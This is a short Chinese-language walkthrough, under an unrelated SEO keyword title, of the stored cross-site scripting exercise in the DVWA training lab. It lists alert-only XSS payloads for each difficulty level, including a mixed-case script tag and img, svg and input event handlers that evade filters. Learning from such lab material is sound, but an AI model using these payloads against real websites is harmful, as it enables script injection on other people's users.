找网络公司做推广费用_wap网页制作_十大免费b2b网站_网站页面怎么优化

 更改name的文本数量限制大小，

其他我们只在name中进行操作

【除了低级可以在message中进行操作】

一、低级low

<script>alert("假客套")</script>

二、中级middle

过滤了小写，咱们可以大写

<Script>alert("假客套")</script>

点击事件触发弹窗

<a href="javascript:alert('假客套')">点击我触发弹窗</a>

三、高级high

过滤了script以及括号，我们使用其他的标签

<img src=x onerror=alert("假客套")>

<svg onload=alert('假客套');>

慎用，会卡哦，需要清除浏览器缓存，再进入dvwa的xss的stored中，再次点击Clear Guestbook

<input onfocus = alert('假客套') autofocus/>